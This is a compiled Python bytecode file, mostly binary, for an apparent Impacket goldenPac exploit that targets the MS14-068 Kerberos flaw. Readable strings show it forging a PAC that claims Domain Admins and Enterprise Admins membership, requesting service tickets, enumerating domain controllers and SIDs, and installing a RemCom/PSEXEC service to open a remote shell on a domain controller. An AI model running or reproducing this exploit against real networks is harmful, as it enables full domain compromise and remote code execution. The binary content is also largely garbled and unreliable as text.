o
    àý°j£¿  ã                   @   sà  d dl mZ d dl mZ d dlZd dlZd dlZd dlZd dlZd dlZd dl	m
Z
 d dlmZmZ d dlmZ d dlmZ d dlmZmZmZmZmZmZmZmZmZmZ d d	lmZmZ d d
l m!Z!m"Z"m#Z# d dl$m%Z%m&Z& d dl'm(Z(m)Z) d dl*m+Z+m,Z,m-Z- d dl.m/Z/m0Z0m1Z1m2Z2m3Z3m4Z4m5Z5m6Z6m7Z7m8Z8m9Z9 d dl:m;Z; d dl<m=Z= d dl:m>Z>m?Z? d dl@mAZAmBZB d dlCmDZD G dd„ deDƒZEG dd„ deDƒZFdZGdZHdZIeƒ ZJG dd„ dƒZKG dd„ deƒZLG dd „ d eLƒZMG d!d"„ d"eLƒZNG d#d$„ d$ejOƒZPG d%d&„ d&eLƒZQG d'd(„ d(ƒZReSd)k�rîd dlTZTd dlUZUzd dlVZVd d*lWmXZX W n eY�y@   e Zd+¡ e Zd,¡ eU [d-¡ Y nw d dl\Z\d d.l]m^Z^ d d/lm_Z_ d d0l`maZa d d1lmbZb d d2lmcZc d d3ldmeZemfZfmgZg d d4lhmiZi d d5ljmkZkmlZlmmZmmnZn d d6lompZpmqZqmrZrmsZsmtZtmuZumvZvmwZwmxZxmyZymzZzm{Z{m|Z| d d7l}m~Z~ d d8lm€Z€ d d9l�m‚Z‚mƒZƒm„Z„m…Z…m†Z†m‡Z‡mˆZˆ d d:l‰mŠZŠm‹Z‹ d d;lŒm�Z� eŽeaj�ƒ eTj�d<d=d>�Z‘e‘j’d?d@dAdB� e‘j’dCdDdEdB� e‘j’dFdDdGdB� e‘j’dHdIdJdKdL� e‘j’dMd@dNdOdP� e‘j’dQd@dNdRdP� e‘j’dSd@dTdUdP� e‘j’dVd@dTdWdP� e‘ “dX¡Z”e”j’dYd@dZd[dP� e•eUj–ƒd-k�r]e‘ —¡  eŽd\ƒ eŽd]ƒ eŽd^ƒ eŽd_ƒ eŽd`ƒ eŽdaƒ eŽdbƒ eŽdcƒ eŽddƒ eU [d-¡ e‘ ˜¡ Z™e; še™j›e™jœ¡ e=e™j�ƒ\ZžZŸZ Z¡eždek�r�e Zdf¡ eU [d-¡ e dek�r›eŸdek�r›e™j¢du �r›d dgl£m£Z£ e£dhƒZ dJ ¤e™j¥¡Z¦e¦dJk�r¨diZ¦eRe¡e™j§eŸe eže™j¢e¦e™j¨e™j©e™jªƒ
Z«ze« ¬¡  W dS  e­�yí Z® ze ¯¡ j°ej±k�rÛd dl²Z²e² ³¡  e Ze´e®ƒ¡ W Y dZ®[®dS dZ®[®ww dS )jé    )Údivision)Úprint_functionN)Ú	unhexlify)ÚThreadÚLock)ÚPY3)Úepm)
ÚMSRPC_UUID_DRSUAPIÚhDRSDomainControllerInfoÚDRSBindÚNTDSAPI_CLIENT_GUIDÚDRS_EXTENSIONS_INTÚDRS_EXT_GETCHGREQ_V6ÚDRS_EXT_GETCHGREPLY_V6ÚDRS_EXT_GETCHGREQ_V8ÚDRS_EXT_STRONG_ENCRYPTIONÚNULLGUID)ÚRPC_SIDÚMAXIMUM_ALLOWED)ÚhLsarQueryInformationPolicy2ÚPOLICY_INFORMATION_CLASSÚhLsarOpenPolicy2)ÚMSRPC_UUID_LSATÚPOLICY_LOOKUP_NAMES)ÚMSRPC_UUID_NRPCÚhDsrGetDcNameEx)ÚTypeSerialization1ÚRPC_C_AUTHN_LEVEL_PKT_INTEGRITYÚRPC_C_AUTHN_LEVEL_PKT_PRIVACY)ÚPKERB_VALIDATION_INFOÚKERB_VALIDATION_INFOÚKERB_SID_AND_ATTRIBUTESÚPAC_CLIENT_INFOÚPAC_SIGNATURE_DATAÚPAC_INFO_BUFFERÚPAC_LOGON_INFOÚPAC_CLIENT_INFO_TYPEÚPAC_SERVER_CHECKSUMÚPAC_PRIVSVR_CHECKSUMÚPACTYPE)Úlogger)Úparse_target)Ú	remcomsvcÚserviceinstall)ÚSMBConnectionÚsmb)Ú	Structurec                   @   ó   e Zd ZdZdS )ÚRemComMessage))ÚCommandz4096s="")Ú
WorkingDirú260s="")ÚPriorityz<L=0x20)Ú	ProcessIDz<L=0x01)ÚMachiner5   )ÚNoWaitú<L=0N©Ú__name__Ú
__module__Ú__qualname__Ú	structure© r@   r@   ú‰/root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/../../../bin/goldenPac.pyr2   G   ó    r2   c                   @   r1   )ÚRemComResponse))Ú	ErrorCoder:   )Ú
ReturnCoder:   Nr;   r@   r@   r@   rA   rC   Q   rB   rC   ÚRemCom_stdoutÚRemCom_stdinÚRemCom_stderrc                   @   s$   e Zd Zdd„ Zdd„ Zdd„ ZdS )ÚPSEXECc                 C   s4   || _ || _d | _|| _d | _|| _|| _|| _d S ©N)Ú_PSEXEC__usernameÚ_PSEXEC__commandÚ_PSEXEC__pathÚ_PSEXEC__domainÚ_PSEXEC__exeFileÚ_PSEXEC__copyFileÚ_PSEXEC__TGSÚ_PSEXEC__smbConnection)ÚselfÚcommandÚusernameÚdomainÚsmbConnectionÚTGSÚcopyFiler@   r@   rA   Ú__init__^   s   
zPSEXEC.__init__c              
   C   s‚  t j|d| jd�}| ¡ }z| ¡  W n ty1 } zt t|ƒ¡ t	 
d¡ W Y d }~nd }~ww | ¡  ¡ a�z>d}| ¡ }| d¡ | jd u rUt | ¡ t ¡ ¡}n/zt| jdƒ}W n ty{ } zt t|ƒ¡ t	 
d¡ W Y d }~nd }~ww t | ¡ |¡}| ¡  | jd ur‘| ¡  | jd ur²| | j| ¡ tj | j¡¡ tj | j¡d | j | _| d¡}	|  ||	d	d
¡}
t ƒ }t !¡ }d "dd„ t#dƒD ƒ¡|d< | j$d urÞ| j$|d< | j|d< ||d< | %|	|
| &¡ ¡ da't(|dt)|d |d f t*j+t*j,B | j-| ¡ ƒ}| .¡  t/|dt0|d |d f t*j1ƒ}| .¡  t2|dt3|d |d f t*j1ƒ}| .¡  | 4|	|
d¡}t5|ƒ�rUt6|ƒ}t 7d| j|d |d f ¡ | 8¡  | jd u�rl| 9| ¡ tj | j¡¡ d}t	 
|d ¡ W d S  t:�y€   ‚  t�yÀ } z4t ;t|ƒ¡ |du �r«| 8¡  | jd u�r«| 9| ¡ tj | j¡¡ t	j< =¡  t	 
d¡ W Y d }~d S d }~ww )Nz/svcctl)ÚfilenameÚsmb_connectioné   Fi † Úrbú úIPC$z\RemCom_communicatoniŸ Ú c                 S   s   g | ]}t  tj¡‘qS r@   )ÚrandomÚchoiceÚstringÚascii_letters)Ú.0Ú_r@   r@   rA   Ú
<listcomp>•   s    zPSEXEC.run.<locals>.<listcomp>é   r8   r4   r3   r7   z\%s%s%dé   z6Process %s finished with ErrorCode: %d, ReturnCode: %drD   rE   T)>Ú	transportÚSMBTransportrR   Úget_dce_rpcÚconnectÚ	ExceptionÚloggingÚcriticalÚstrÚsysÚexitÚget_smb_connectionÚ
getDialectÚdialectÚ
setTimeoutrO   r-   ÚServiceInstallr,   Ú	RemComSvcÚopenÚinstallÚcloserP   Ú	copy_fileÚgetShareÚosÚpathÚbasenamerL   ÚconnectTreeÚopenPiper2   ÚgetpidÚjoinÚrangerM   ÚwriteNamedPipeÚgetDataÚLastDataSentÚRemoteStdInPipeÚRemComSTDINr/   ÚFILE_WRITE_DATAÚFILE_APPEND_DATArQ   ÚstartÚRemoteStdOutPipeÚRemComSTDOUTÚFILE_READ_DATAÚRemoteStdErrPipeÚRemComSTDERRÚreadNamedPipeÚlenrC   ÚinfoÚ	uninstallÚ
deleteFileÚ
SystemExitÚdebugÚstdoutÚflush)rS   ÚaddrÚrpctransportÚdceÚeÚunInstalledÚsÚinstallServiceÚfÚtidÚfid_mainÚpacketÚpidÚ
stdin_pipeÚstdout_pipeÚstderr_pipeÚansÚretCoder@   r@   rA   Úrunh   s    €þ

€þ





ýþþ
ÿ

€ùz
PSEXEC.runc           	   
   C   s¨   d}d}|du r@|dkr@z
|  ||¡ d}W n! ty7 } ztt|ƒƒ |d8 }t d¡ W Y d }~nd }~ww |du r@|dks|dkrHtdƒ‚|j|||dd	d
�}|S )NFé2   r   Tr]   é   zPipe not ready, abortingé@   é€   ©ÚcreationOptionÚfileAttributes)ÚwaitNamedPipero   Úprintrr   ÚtimeÚsleepÚopenFile)	rS   r£   r¦   ÚpipeÚ
accessMaskÚ	pipeReadyÚtriesr¡   Úfidr@   r@   rA   r„   Ê   s$   
€üü
zPSEXEC.openPipeN)r<   r=   r>   rZ   r¯   r„   r@   r@   r@   rA   rI   ]   s    
brI   c                   @   ó   e Zd Zddd„Zdd„ ZdS )ÚPipesNc                 C   sX   t  | ¡ d| _|| _| ¡ | _d| _d| _|| _| 	¡ | _
|| _|| _|| _d| _d S )Nr   T)r   rZ   Úserverrk   Úget_credentialsÚcredentialsr¦   rÀ   ÚshareÚ	get_dportÚportr¼   ÚpermissionsrX   Údaemon)rS   rk   r¼   rÉ   rX   rÆ   r@   r@   rA   rZ   ß   s   



zPipes.__init__c           	      C   sÆ   zTt  ¡  td| j ¡  ¡ | jtd�| _| j	\}}}}}}}}| j 
|||||¡ t  ¡  | j d¡| _| j | j| j¡ | jj| j| j| jddd�| _| j d¡ W d S    t d| j ¡ Y d S )	Nú
*SMBSERVER©Ú	sess_portÚpreferredDialectr`   r²   r³   r´   i@B z9Something wen't wrong connecting the pipes(%s), try again)ÚlockÚacquirer.   rk   ru   ÚgetRemoteHostrÈ   rw   rÃ   rÅ   ÚloginÚreleaserƒ   r¦   r·   r¼   r»   rÉ   rÀ   rx   rp   rq   Ú	__class__©	rS   ÚuserÚpasswdrV   ÚlmÚntÚaesKeyÚTGTrX   r@   r@   rA   ÚconnectPipeí   s   ÿzPipes.connectPipe©NN)r<   r=   r>   rZ   rÜ   r@   r@   r@   rA   rÂ   Þ   s    
rÂ   c                   @   ó   e Zd Zdd„ Zdd„ ZdS )r�   c                 C   ó   t  | |||¡ d S rJ   ©rÂ   rZ   ©rS   rk   r¼   Úpermisssionsr@   r@   rA   rZ      ó   zRemoteStdOutPipe.__init__c                 C   sv   |   ¡  	 z| j | j| jdd¡}W n   Y n"z|tkr,tj | 	d¡¡ tj 
¡  ndatdkr4daW n   Y q)NTr   é   Úcp437ra   é
   )rÜ   rÃ   ÚreadFiler¦   rÀ   rŠ   rs   rœ   ÚwriteÚdecoder�   ©rS   r­   r@   r@   rA   r¯     s"   €ízRemoteStdOutPipe.runN©r<   r=   r>   rZ   r¯   r@   r@   r@   rA   r�   ÿ   ó    r�   c                   @   rÞ   )r“   c                 C   rß   rJ   rà   rá   r@   r@   rA   rZ     rã   zRemoteStdErrPipe.__init__c                 C   sZ   |   ¡  	 z| j | j| jdd¡}W n   Y nztj t|ƒ¡ tj 	¡  W n   Y q)NTr   rä   )
rÜ   rÃ   rç   r¦   rÀ   rs   Ústderrrè   rr   r�   rê   r@   r@   rA   r¯     s   özRemoteStdErrPipe.runNrë   r@   r@   r@   rA   r“     rì   r“   c                   @   s^   e Zd Zdd„ Zdd„ Zdd„ Zdd„ Zd	d
„ Zdd„ Zdd„ Z	dd„ Z
dd„ Zddd„ZdS )ÚRemoteShellc                 C   sN   t j | d¡ d| _|| _d | _|| _|| _|| _|| _	|| _
|| _d| _d S )NFúz'[!] Press help for extra shell commands)ÚcmdÚCmdrZ   ÚpromptrÃ   ÚtransferClientr¦   rÀ   rÅ   rÆ   rÈ   rX   Úintro)rS   rÃ   rÈ   rÅ   r¦   rÀ   rX   rÆ   r@   r@   rA   rZ   -  s   
zRemoteShell.__init__c           	   
   C   sR   t d| j ¡ | jtd�| _| j\}}}}}}}}| jj||||||| jdd� d S )NrË   rÌ   F©rX   ÚuseCache)	r.   rÃ   rÑ   rÈ   rw   ró   rÅ   ÚkerberosLoginrX   rÕ   r@   r@   rA   Úconnect_transferClient:  s
   ÿ"z"RemoteShell.connect_transferClientc                 C   s$   t d| j| jf ƒ |  dd¡ d S )Na­  
 lcd {path}                 - changes the current local directory to {path}
 exit                       - terminates the server process (and this session)
 put {src_file, dst_path}   - uploads a local file to the dst_path RELATIVE to the connected share (%s)
 get {file}                 - downloads pathname RELATIVE to the connected share (%s) to the current local dir 
 ! {cmd}                    - executes a local shell cmd
ú
F)r¸   rÆ   Ú	send_data©rS   Úliner@   r@   rA   Údo_help@  s   
úzRemoteShell.do_helpc                 C   s   t  |¡ |  d¡ d S ©Nrù   )r€   Úsystemrú   )rS   r£   r@   r@   rA   Údo_shellJ  s   
zRemoteShell.do_shellc              
   C   s¤   z1| j d u r
|  ¡  dd l}| |¡}t|dƒ}t d| j|f ¡ | j  | j||j	¡ | 
¡  W n tyJ } zt t|ƒ¡ W Y d }~nd }~ww |  d¡ d S )Nr   ÚwbzDownloading %s\%srù   )ró   rø   Úntpathr‚   r{   rp   r—   rÆ   ÚgetFilerè   r}   ro   Úerrorrr   rú   )rS   Úsrc_pathr  r[   Úfhr¡   r@   r@   rA   Údo_getN  s   


€þzRemoteShell.do_getc           
   
   C   s  zm| j d u r
|  ¡  | d¡}t|ƒdkr|d }|d }nt|ƒdkr*|d }d}tj |¡}t|dƒ}|d | }| dd¡}t	 
d|| j|f ¡ trY| j  | j||j¡ n| j  | j| tjj¡|j¡ | ¡  W n ty† }	 zt	 t|	ƒ¡ W Y d }	~	nd }	~	ww |  d¡ d S )	Nr_   r]   r   ú/r^   ú\zUploading %s to %s\%srù   )ró   rø   Úsplitr–   r€   r�   r‚   r{   Úreplacerp   r—   rÆ   r   ÚputFileÚreadré   rs   ÚstdinÚencodingr}   ro   r  rr   rú   )
rS   r£   Úparamsr  Údst_pathÚsrc_filer  r¥   Úpathnamer¡   r@   r@   rA   Údo_put_  s2   



€þzRemoteShell.do_putc              
   C   sf   |dkrt t ¡ ƒ n!zt |¡ W n ty+ } zt t|ƒ¡ W Y d }~nd }~ww |  d¡ d S )Nra   rù   )	r¸   r€   ÚgetcwdÚchdirro   rp   r  rr   rú   )rS   r£   r¡   r@   r@   rA   Údo_lcd|  s   €ÿzRemoteShell.do_lcdc                 C   s   |   d¡ d S rþ   )rú   )rS   r@   r@   rA   Ú	emptyline†  s   
zRemoteShell.emptylinec                 C   s>   t r|  | d¡d ¡ d S |  | tjj¡ d¡d ¡ d S )Nrå   s   
rù   )r   rú   Úencoderé   rs   r  r  rû   r@   r@   rA   ÚdefaultŠ  s   "zRemoteShell.defaultTc                 C   s*   |du r|a nda | j | j| j|¡ d S )NTra   )rŠ   rÃ   Ú	writeFiler¦   rÀ   )rS   ÚdataÚ
hideOutputr@   r@   rA   rú   �  s   zRemoteShell.send_dataN)T)r<   r=   r>   rZ   rø   rý   r   r  r  r  r  r  rú   r@   r@   r@   rA   rî   ,  s    

rî   c                   @   rÁ   )r‹   Nc                 C   s   t  | |||||¡ d S rJ   rà   )rS   rk   r¼   râ   rX   rÆ   r@   r@   rA   rZ   š  s   zRemoteStdInPipe.__init__c                 C   s6   |   ¡  t| j| j| j| j| j| j| jƒ}| 	¡  d S rJ   )
rÜ   rî   rÃ   rÈ   rÅ   r¦   rÀ   rX   rÆ   Úcmdloop)rS   Úshellr@   r@   rA   r¯   �  s   "zRemoteStdInPipe.runrÝ   rë   r@   r@   r@   rA   r‹   ™  s    
r‹   c                   @   sf   e Zd ZdZdZdZG dd„ deƒZ		ddd	„Zd
d„ Z	dd„ Z
dd„ Zdd„ Zdd„ Zdd„ ZdS )ÚMS14_068r]   r±   é   c                   @   s   e Zd ZdeffZdS )zMS14_068.VALIDATION_INFOÚDataN)r<   r=   r>   r   r?   r@   r@   r@   rA   ÚVALIDATION_INFO©  s    ÿr#  Nra   c                 C   sœ   || _ || _|| _d| _d| _d| _|| _|| _d | _|| _	|| _
|	| _d| _d | _tƒ | _|
| _|d urL| d¡\| _| _t| jƒ| _t| jƒ| _d S d S )Nr   ra   ú:)Ú_MS14_068__usernameÚ_MS14_068__passwordÚ_MS14_068__domainÚ_MS14_068__ridÚ_MS14_068__lmhashÚ_MS14_068__nthashÚ_MS14_068__targetÚ_MS14_068__targetIpÚ_MS14_068__kdcHostÚ_MS14_068__copyFileÚ_MS14_068__commandÚ_MS14_068__writeTGTÚ_MS14_068__domainSidÚ_MS14_068__forestSidÚlistÚ_MS14_068__domainControllersr
  r   )rS   ÚtargetÚtargetIprU   ÚpasswordrV   ÚhashesrT   rY   ÚwriteTGTÚkdcHostr@   r@   rA   rZ   ®  s*   ýzMS14_068.__init__c           %      C   sô  t tt|ƒdƒƒ}t |¡}tƒ }|d@ |d d< |d? |d d< d|d d< d|d d< d|d	 d< d|d	 d< d
|d d< d
|d d< d
|d d< d
|d d< d|d d< d|d d< | j|d< d|d< d|d< d|d< d|d< d|d< d
|d< d
|d< | j|d< d|d< d}t|ƒ|d< |D ]}t	ƒ }t
ƒ }||d< ||d< ttB tB |d< |d  |¡ q‘d
|d < d!|d"< d|d#< | j|d$< | j|d%< d&|d'< ttB |d(< d
|d)< d
|d* d< d
|d* d< d
|d+ d< d
|d+ d< d
|d,< d
|d-< | jd u�rd.| jd/f f}	t|	ƒ|d0< |d   dO  < nd1}	t|	ƒ|d0< |	D ]!}
tƒ }tƒ }| |
¡ ||d2< ttB tB |d< |d3  |¡ �qt|d4< d
|d5< t|d6< |  ¡ }||d< t ¡ jtjk�rht d7¡ | ¡  td8ƒ |  ¡ | !¡  }d9t|ƒd: d; d; t|ƒ  }t"ƒ }||d<< z| j #d=¡}W n t$�y¨   d
d l%}| j &| '¡ ¡ #d=¡}Y nw t|ƒ|d>< ||d?< |  ¡ }d9t|ƒd: d; d; t|ƒ  }t(ƒ }| j)|d@< d!|dA< |  ¡ }d9t|ƒd: d; d; t|ƒ  }t(ƒ }| j)|d@< d!|dA< |  ¡ }d9t|ƒd: d; d; t|ƒ  }d;tt*ƒ   ¡ ƒdB  }t*ƒ }t+|dC< t|ƒ|dD< ||dE< ||dD  d: d; d; }t*ƒ }t,|dC< t|ƒ|dD< ||dE< ||dD  d: d; d; }t*ƒ }t-|dC< t|ƒ|dD< ||dE< ||dD  d: d; d; }t*ƒ }t.|dC< t|ƒ|dD< ||dE< |  ¡ |  ¡  |  ¡  |  ¡  | | |  ¡  | } |  ¡ | |  ¡  | }!t/ƒ }"dB|"dF< d
|"dG< | |! |"dH< |"  ¡ }#t0 1|#¡ 2¡ |dA< t0 1|dA ¡ 2¡ |dA< |  ¡ | |  ¡  | }!| |! |"dH< t3ƒ }$t4|$d
< t5t6j7j8j9ƒ|$d
 dI< |"  ¡ |$d
 dJ< t: #|$¡S )KNz%Y%m%d%H%M%SZl   ÿÿ Ú	LogonTimeÚdwLowDateTimeé    ÚdwHighDateTimeÚ
LogoffTimeiÿÿÿÚKickOffTimer   ÚPasswordLastSetÚPasswordCanChangeÚPasswordMustChangeÚEffectiveNamera   ÚFullNameÚLogonScriptÚProfilePathÚHomeDirectoryÚHomeDirectoryDriveÚ
LogonCountÚBadPasswordCountÚUserIdé  ÚPrimaryGroupId)rM  i   i  i  i  Ú
GroupCountr"  Ú
RelativeIdÚ
AttributesÚGroupIdsÚ	UserFlagss                   ÚUserSessionKeyÚLogonServerÚLogonDomainNameÚLogonDomainIds           ÚLMKeyÚUserAccountControlÚSubAuthStatusÚLastSuccessfulILogonÚLastFailedILogonÚFailedILogonCountÚ	Reserved3z%s-%sÚ519ÚSidCountr@   ÚSidÚ	ExtraSidsÚResourceGroupDomainSidÚResourceGroupCountÚResourceGroupIdsr#  Ú
ó    r!  rj   ÚClientIdzutf-16leÚ
NameLengthÚNameÚSignatureTypeÚ	Signatureri   ÚulTypeÚcbBufferSizeÚOffsetÚcBuffersÚVersionÚBuffersúad-typeúad-data);ÚtimegmÚstrptimerr   r/   Ú	POSIXtoFTr    r%  r(  r–   ÚGROUP_MEMBERSHIPÚNDRULONGÚSE_GROUP_MANDATORYÚSE_GROUP_ENABLED_BY_DEFAULTÚSE_GROUP_ENABLEDÚappendr'  r1  ÚUSER_NORMAL_ACCOUNTÚUSER_DONT_EXPIRE_PASSWORDr2  r!   r   ÚfromCanonicalÚNULLr#  rp   Ú	getLoggerÚlevelÚDEBUGr›   Údumpr¸   r‰   ÚgetDataReferentsr"   r  ÚUnicodeDecodeErrorrs   ré   Úgetfilesystemencodingr#   ÚRSA_MD5r$   r%   r&   r'   r(   r)   ÚMD5ÚnewÚdigestÚAuthorizationDataÚnoValueÚintÚ	constantsÚAuthorizationDataTypeÚAD_WIN2K_PACÚvalueÚencoder)%rS   ÚauthTimeÚaTimeÚunixTimeÚkerbdataÚgroupsÚgroupÚgroupMembershipÚgroupIdÚ	extraSidsÚextraSidÚ	sidRecordÚsidÚvalidationInfoÚvalidationInfoBlobÚvalidationInfoAlignmentÚpacClientInfoÚnamers   ÚpacClientInfoBlobÚpacClientInfoAlignmentÚserverChecksumÚserverChecksumBlobÚserverChecksumAlignmentÚprivSvrChecksumÚprivSvrChecksumBlobÚprivSvrChecksumAlignmentÚ
offsetDataÚvalidationInfoIBÚpacClientInfoIBÚserverChecksumIBÚprivSvrChecksumIBÚbuffersÚbuffersTailÚpacTypeÚblobToChecksumÚauthorizationDatar@   r@   rA   ÚgetGoldenPACÆ  s  







 þ 
 
 ÿÿÿþþ
zMS14_068.getGoldenPACc           !      C   sr  |   |¡}tj|tƒ d�d }	tƒ }
|
 |	d ¡ tƒ }t|d< tt	j
jjƒ|d d< ||d d< t |¡}| |d|d ¡}tƒ }t|dƒ}tƒ }| t	jjj¡ | t	jjj¡ | t	jjj¡ t	 |¡|d< t|d	|jƒ |	d
  ¡ |d< tj tjj¡tjdd� }t  |¡|d< t! "¡  #d¡|d< t$|d|j%fƒ t|d< t|j%ƒ|d d< ||d d< t&ƒ }d|d< tt	j'j&jƒ|d< tƒ }t	 |¡|d< t|d|
j ƒ t(ƒ }d|d< |	d
  ¡ |d
< t)ƒ }| |	d
d¡ t|d|jƒ tj tjj¡}|j*|d< t  |¡|d< t |¡}| |d|d ¡}t|d< |j%|d d< ||d d< t |¡}d|d< tt	j'jjƒ|d< t|d< t|d d< tt	j+j,jƒ|d d d< ||d d d < t-ƒ }d!|d"< t |¡}t|d d< tt	j+j.jƒ|d d d< ||d d d < t |¡}t/|||ƒ}tj|t0ƒ d�d }|d# d }| 1|d$|¡}tj|t2ƒ d�d }t3|j%|d% d&  4¡ ƒ} |||| fS )'N©Úasn1Specr   Úticketrs  rt  ri   zreq-bodyzkdc-optionsÚsnameÚcrealmÚrealmr]   )ÚdaysÚtillé   ÚnonceÚetypezenc-authorization-dataÚcipheré   Úpvnozmsg-typez
ap-optionszauthenticator-vnoÚcnameÚcusecÚctimer!  ÚauthenticatorÚpadataúpadata-typeúpadata-valueFzinclude-pacúenc-partrj   ÚkeyÚkeyvalue)5r¸  Údecoderré   ÚAS_REPÚTicketÚ	from_asn1ÚAD_IF_RELEVANTrŽ  r�  r�  r‘  r“  r”  r  ÚencryptÚTGS_REQÚseq_setr3  r}  Ú
KDCOptionsÚforwardableÚ	renewableÚ	proxiableÚencodeFlagsÚcomponents_to_asn1ÚprettyPrintÚdatetimeÚnowÚtimezoneÚutcÚ	timedeltaÚKerberosTimeÚto_asn1rb   ÚSystemRandomÚgetrandbitsÚseq_set_iterÚenctypeÚAP_REQÚApplicationTagNumbersÚAuthenticatorÚ	PrincipalÚmicrosecondÚPreAuthenticationDataTypesÚ
PA_TGS_REQÚKERB_PA_PAC_REQUESTÚPA_PAC_REQUESTÚsendReceiveÚTGS_REPÚdecryptÚEncTGSRepPartÚKeyÚasOctets)!rS   Ú
serverNamerV   r:  ÚtgtrÄ  Ú
sessionKeyr•  Ú	goldenPACÚ
decodedTGTr»  Ú
ifRelevantÚencodedIfRelevantÚencryptedEncodedIfRelevantÚtgsReqÚreqBodyÚoptsrá  ÚapReqrÊ  Ú
clientNameÚencodedAuthenticatorÚencryptedEncodedAuthenticatorÚencodedApReqÚ
pacRequestÚencodedPacRequestÚmessageÚrÚtgsÚ
cipherTextÚ	plainTextÚencTGSRepPartÚnewSessionKeyr@   r@   rA   ÚgetKerberosTGS«  s†   







zMS14_068.getKerberosTGSc                 C   sH  t  d¡ d| j }t |¡}t|dƒr"| | j| j| j	| j
| j¡ | ¡ }| ¡  | t¡ t|ttttdƒ}|d d d d… }t  d| ¡ | ¡  t  d	¡ d
| }t |¡}t|dƒrn| | j| j| j	| j
| j¡ | ¡ }| ¡  | t¡ t|ttB ƒ}|d }t||tjƒ}| ¡  |d d d  ¡ }t  d| ¡ |S )NzCalling NRPC DsrGetDcNameEx()zncacn_np:%s[\pipe\netlogon]Úset_credentialsr   ÚDomainControllerInfoÚDnsForestNameéÿÿÿÿzDNS Forest name is %sz+Calling LSAT hLsarQueryInformationPolicy2()zncacn_np:%s[\pipe\lsarpc]ÚPolicyHandleÚPolicyInformationÚPolicyAccountDomainInfoÚ	DomainSidzForest SID: %s)rp   r›   r-  rk   ÚDCERPCTransportFactoryÚhasattrr  r%  r&  r'  r)  r*  rm   rn   Úbindr   r   r�  Ú
disconnectr   r   r   r   r   r   ÚPolicyAccountDomainInformationÚformatCanonicalr—   )rS   ÚstringBindingrŸ   r    ÚrespÚ
forestNameÚpolicyHandleÚ	forestSidr@   r@   rA   ÚgetForestSid  s6   








zMS14_068.getForestSidc           
      C   s|  t  d¡ tj| jtdd�}t |¡}t|dƒr&| 	| j
| j| j| j| j¡ | ¡ }| t¡ | t¡ | ¡  | t¡ tƒ }t|d< tƒ }t|ƒ|d< ttB tB tB |d< t|d< d	|d
< d	|d< d	|d< t|d< d|d< t| ¡ ƒ|d d< t| ¡ ƒ|d d< | |¡}t ||d | jdƒ}| !¡  tƒ }|d d d D ]}	t  d|	d d d…  ¡ | "|	d d d… ¡ q¡|S )Nz!Calling DRSDomainControllerInfo()Úncacn_ip_tcp)Úprotocolr  ÚpuuidClientDsaÚcbÚdwFlagsÚSiteObjGuidr   ÚPidÚdwReplEpochÚ
dwFlagsExtÚConfigObjGUIDé   Ú	dwExtCapsÚ
pextClientÚrgbÚphDrsr]   ÚpmsgOutÚV1ÚrItemszFound domain controller %sÚDnsHostNamer  )#rp   r›   r   Úhept_mapr'  r	   rk   r  r  r  r%  r&  r)  r*  rm   Úset_auth_levelr   r   rn   r  r   r   r   r–   r   r   r   r   r   r‰   r3  Úrequestr
   r  r}  )
rS   r"  rŸ   r    r=  Údrsr#  ÚdcsÚdomainControllersÚdcr@   r@   rA   ÚgetDomainControllersG  s>   






zMS14_068.getDomainControllersc           	      C   sÜ   d| j  }t |¡}t|dƒr| | j| j| j| j| j	¡ | 
¡ }| ¡  | tj¡ t |¡}|d }t ||| j¡}|d }tj|||d�}|d }t ||| jf¡}|d d d	 d
 }t d| ¡ |f ¡ ||fS )Nzncacn_np:%s[\pipe\samr]r  ÚServerHandleÚDomainId)ÚdomainIdÚDomainHandleÚRelativeIdsÚElementr   r"  zUser SID: %s-%s)r-  rk   r  r  r  r%  r&  r'  r)  r*  rm   rn   r  ÚsamrÚMSRPC_UUID_SAMRÚhSamrConnectÚhSamrLookupDomainInSamServerÚhSamrOpenDomainÚhSamrLookupNamesInDomainrp   r—   r!  )	rS   r"  rŸ   r    r#  ÚserverHandlerE  ÚdomainHandleÚridr@   r@   rA   Ú
getUserSIDp  s"   



zMS14_068.getUserSIDc                  C   s¶  | j d u rd}| j| _ nd}|  ¡ \| _| _z|  ¡ | _W n ty; } zt 	dt
|ƒ ¡ d | _W Y d }~nd }~ww |du rH| j | j ¡ n|  ¡ | _t| jtjjjd�}| jD �]¡}t d| ¡ || _ d }	 zt|| j| j| j| jd | j dd�\}}}}	W nO tyÐ } zC| ¡ tjjjkrÁ| jdkr¶| jdkr¶dd	lm}
m} |
| jƒ| _|| jƒ| _W Y d }~qit
|ƒ}W Y d }~�n$t
|ƒ}W Y d }~�nd }~ww t j!|t"ƒ d
�d }d}|d �r	|d D ]"}|d tj#j$jk�rt j!|d dd … t%ƒ d
�d }|d  &¡ }qæ|d d }| jdk�rt'|j(| jƒ}n| )| j|d ¡}| *|d|¡}t j!|t+ƒ d
�d }|d }td| j ,¡  tjjjd�}|  -|t.| j |||	|¡\}}}}	td| j/ tjj0jd�}zt-|t.| j |||	ƒ\}}}}W nR t�yÆ } zE| ¡ tjjjk�r²| jdk�r¨| jdk�r¨dd	lm}
m} |
| jƒ| _|| jƒ| _nt
|ƒ}W Y d }~n3t
|ƒ}W Y d }~n)W Y d }~n"d }~ww | j1d u�rãddl2m3} |ƒ }| 4|||	¡ | 5| j1¡ nqj|d u �rót d| ¡  n
t d||f ¡ qZ|d u �rWi }||d< ||d< ||d< ||d< ddl6m7} | j8d u �r'|d| j/ƒ}n|d| j8ƒ}|j9| j| j| j| j| j|dd� | j:dk�rYt;| j:t<t.||| j=ƒ}| >| j/¡ d S d S d S ) NTFz)Couldn't get forest info (%s), continuing)ÚtypezAttacking domain controller %s)Ú
requestPACra   r   )Úcompute_lmhashÚcompute_nthashr¹  rË  rÌ  rÍ  r±   ÚsaltrÎ  rÄ  é   Úauthtimez	krbtgt/%szcifs/%s)ÚCCachez%s found vulnerable!z%s seems not vulnerable (%s)ÚKDC_REPÚoldSessionKeyrü  )r.   rË   rõ   ÚNone)?r-  r'  rR  r1  r(  r'  r2  ro   rp   r  rr   r4  r}  rB  rî  r%  r�  ÚPrincipalNameTypeÚNT_PRINCIPALr“  r—   ÚgetKerberosTGTr&  r)  r*  ÚKerberosErrorÚgetErrorCodeÚ
